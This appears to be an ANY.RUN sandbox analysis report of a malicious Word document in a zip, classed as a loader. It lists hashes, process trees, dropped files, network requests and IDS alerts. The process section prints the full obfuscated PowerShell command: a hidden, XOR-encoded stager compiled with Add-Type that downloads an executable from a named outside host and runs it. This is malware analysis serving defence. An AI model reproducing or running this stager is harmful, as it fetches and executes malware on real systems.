analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

file.zip

Full analysis: https://app.any.run/tasks/cbbfc55d-6c83-4044-8df9-4f678ccaf756
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 06, 2019, 20:05:17
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

F2702BB10D6B66E696C73C39B1FB7099

SHA1:

6A0131527FE3205C8BEC5BF6C70C2101BD8A4F25

SHA256:

D383C824E0629354E14726BC0458C3592B69BF0AC622F6A287FF81FE44E5A782

SSDEEP:

3072:qvsCuKiw6908SsT/n6Ch9nDUNqFisXtOPAzg5in:kxR58ZT/Zh9nDWEisXzSin

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • z9d7e5.exe (PID: 1768)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2772)
    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2772)
    • Starts Visual C# compiler

      • powershell.exe (PID: 2004)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2004)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2004)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2004)
  • INFO

    • Manual execution by user

      • WINWORD.EXE (PID: 2772)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2772)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2772)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 788
ZipBitFlag: 0x0001
ZipCompression: Deflated
ZipModifyDate: 2019:12:06 20:04:24
ZipCRC: 0x329eb405
ZipCompressedSize: 144257
ZipUncompressedSize: 167986
ZipFileName: 7f2d58fc465891c6710621fc812cff22690b16079519da4f77c246a4efbcf634.bin
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
6
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs winword.exe no specs powershell.exe csc.exe cvtres.exe no specs z9d7e5.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2724"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\file.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2772"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\doc.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2004powershell -WindowStyle Hidden function ve59df7 {param($hf9463)$w176c81='z8d8ae6';$e32794='';for ($i=0; $i -lt $hf9463.length;$i+=2){$lc22fc=[convert]::ToByte($hf9463.Substring($i,2),16);$e32794+=[char]($lc22fc -bxor $w176c81[($i/2)%$w176c81.length]);}return $e32794;} $q65bb = '0f4b0d56064565034b105d0c5e4309510a5f41364f094c01554f3743144c0d55044b7f144c014a0e15651f4a1251020045414d17510f02162941174c0408183e51055f0f0a450e51074b5a104513560318321c450e5d0916282a0d0f4b0d56064565034b105d0c4b781f4c5f356b154318540d5b41065a1b4b1718150750185c51433a215a167109480e1742521a0f5d130b53160b561a4d20580e4a1d680e0c580e05467f041166085707790501441f4b171a4838160a4d0654080616094c054c0806161f40105d130b1633561068151716175c060a544d7f144c344c13455c430e06094d164208510a5f4113031e5c555d044c0d217c0854280846154a1010430e53085601545257145618215615174f2a570d5615450b5a1a285700017a135a1659131c145365444814075a135b444b150442135b445d191153085644710f11660e4a444c0307024d0c4c4b15175f145f445553530e49115f6325095a3355145713111e5853014a0f005a490a46144120580e4a1d680e0c580e05466e0817420f590868130a421f5b101a4838160a4d0654080616094c054c0806161f40105d130b1618570b544100551c0e0110280b422a4c16181901551b5d065e4d307f144c344c13454f1c0f015b505d1a5a4d0d5615455018015d0b584916154d1018140c580e18010d0457521c0e4d033a215a167109480e1742521a2f5d130b53160b561605095a5814447d0f114403680b510f110b586a10542c0a401f7501550e174f5814446b04117a1b4b107d131759080502590d16535365444b150442135b445d1911530856444e0e0c525a5e5c0f56535252710a4c3111445a555d0e55071a335610681517160c0e015e59500e56510a4c410955420a53115a154318540d5b4116421b4c0d5b410c580e180b0c04015052111f710f11660e4a445f580153190950185c4542185a500f554d401f0d5d5c07521e5809060d5454014f09505e5154031b09521a484c0d135e4c5f580153190950055c2c580e68104a4f3f5308574d43060a4215181d5a5454551c5d5f45280b422a4c1618095c0e1b5c59550507044f1003010500554b0c484e04500f1e5e53104356544f0d550f5454054808520d5654024d5955095400064d08540c55471f53030d5e490d0f425900055c2c580e68104a4f3f5308574d43060a4215181d5a5454551c5d5f45342c580e68104a41040f4e5d525904581e2f710a4c311144530d5f4d080b425a53505b50010e4e05540308031e5b5d075e57001e12015c59054957430c010e00001a4a4050084d0a430e180f0c025452420c4d111a02590e574441035007195e01031c274f0e5d3f65410003480d525c5c1e06020b5514511d501c14544058554b41710a4c3111445a52530f5052504775054a120d57161625540d0a55327f085703045a520b4d032c0444095005544f26590a414c5d5457034c5c48084d0f014d09535e4d561f415e5c0f5653525256014f412c580e68104a490d0f42590016350a7f144c520c494c1d4a40540850071f5652530f505250560b4d031807034b5b025d5b45611f5a27540800580e18170a5004014756014f413253187b0851040b4252115f4b15175f145f44525904041f0e597d0f135f08570a55040b42547f014c270a5a1e5d166800115e527d0a4e08175914550156154b650a5d07510009701554005d134b770a48085102044213570a7c001157531346643d1f0f1e0f010d434e401f0d5d5c07521e580d500d0554554f5c46115a16044b595316250a4114540b5905235f165d4c4e04500f1e5e53104354044e5b5508555d03180c05095854034f0c54085050064d08500c5554014f08545a5501074808540959540f4f0f540150520743085c0d5250024f5c555b54011453140e000057534c115f68130a551f4b176b1504440e710a5e0e45574b0e53005758581f4f4468130a551f4b176b1504440e710a5e0e4d5c4259565d574c0d2a4a0b5b041645546b105913111e1b09520f59531f414a014c1417585a085f45111054165107181211570e51071812114413560318170003435c020f49164208510a5f4116031f5d550a481e450e4a0d5606455c430e06095c474c425c5c59045314414b104a080b515a4c065a555202476b104a080b51547d0948151c0d1c571610080b425a5159085a0c0a090d015d505718365d0a5f150d0d1313590a481e54034c01180c0154480d597b0e0b401f4a1016350a74034c01101250531f095616321054094c16510f021e131456114d54005303105a0351014e135910020d5708114c550507044f183a180b5c0018093f10084a04531841180b5c0018094a74040b510e5039115a18441f4c114a0f4542185a500f555e4b07'; $q65bb2 = ve59df7($q65bb); Add-Type -TypeDefinition $q65bb2; [tbfbd5]::o4edf(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3036"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\xdtg8tgr.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
2612C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES330D.tmp" "c:\Users\admin\AppData\Local\Temp\CSC330C.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.execsc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
1768"C:\Users\admin\AppData\Roaming\z9d7e5.exe" C:\Users\admin\AppData\Roaming\z9d7e5.exepowershell.exe
User:
admin
Company:
Boldint (BOLD)
Integrity Level:
MEDIUM
Description:
IXDS
Version:
18.10.19.19
Total events
2 873
Read events
1 705
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
3
Text files
4
Unknown types
4

Dropped files

PID
Process
Filename
Type
2772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR169B.tmp.cvr
MD5:
SHA256:
2004powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IMLAI7DHCH3L04NSFG7Z.temp
MD5:
SHA256:
3036csc.exeC:\Users\admin\AppData\Local\Temp\CSC330C.tmp
MD5:
SHA256:
3036csc.exeC:\Users\admin\AppData\Local\Temp\xdtg8tgr.pdb
MD5:
SHA256:
2612cvtres.exeC:\Users\admin\AppData\Local\Temp\RES330D.tmp
MD5:
SHA256:
3036csc.exeC:\Users\admin\AppData\Local\Temp\xdtg8tgr.dll
MD5:
SHA256:
3036csc.exeC:\Users\admin\AppData\Local\Temp\xdtg8tgr.out
MD5:
SHA256:
2772WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:091C57A6FE1E630588BA2D2F92ED48C3
SHA256:7A75D00C79EB44CE864AC644607C522FE610E8E03C49E6B5EB0AEC845B237B65
2004powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2004powershell.exeC:\Users\admin\AppData\Local\Temp\xdtg8tgr.cmdlinetext
MD5:CB77F067CAB36037B7C0B1A41DC0CD50
SHA256:9E974C1CAB608AC76E89A8137D0E9696F30D2DEFAA4E860B94E62A7EA1567D32
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2004
powershell.exe
GET
200
52.15.74.209:80
http://old-farmhouse.com/xme.exe
US
executable
780 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2004
powershell.exe
52.15.74.209:80
old-farmhouse.com
Amazon.com, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
old-farmhouse.com
  • 52.15.74.209
suspicious

Threats

PID
Process
Class
Message
2004
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2004
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2004
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144